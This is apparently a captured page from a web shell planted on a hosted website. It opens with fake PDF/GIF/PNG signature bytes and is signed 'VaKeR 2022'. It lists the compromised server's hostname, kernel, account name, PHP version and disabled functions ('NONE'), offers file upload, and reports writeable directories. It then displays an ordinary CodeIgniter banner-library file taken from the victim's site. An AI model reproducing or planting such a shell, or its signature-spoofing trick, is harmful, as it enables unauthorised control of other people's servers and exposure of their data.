%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_1ec2d7c2/apps/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_1ec2d7c2/apps/helpers/Banner_lib.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Banner_lib
{
	public $szconf = array(	 'Top'=>"761x118",
							 'Home Middle'=>"692x428"							 
							 );
	
	public function __construct()
	{
		if (!isset($this->CI))
		{
			$this->CI =& get_instance();
		}
	}
	
	
	public function get_banner($pos=FALSE,$limit=1){
		
		if( $pos  && array_key_exists($pos,$this->szconf) ) {
			
			 $this->CI->db->select('*');
		     $this->CI->db->where('banner_position',$pos);
		     $this->CI->db->where('status',1);
			 $this->CI->db->order_by('banner_id', 'RANDOM');
			 $this->CI->db->limit($limit);
			 $query = $this->CI->db->get('tbl_banner');
			 //echo  $this->CI->db->last_query();
	     	if ($query->num_rows() >0) {	
			
	          $row = $query->result_array();
			 
			  return $row;
			 
			}
			
		 }	
	
	}
	
	
	
} // class banner lib

?>

VaKeR 2022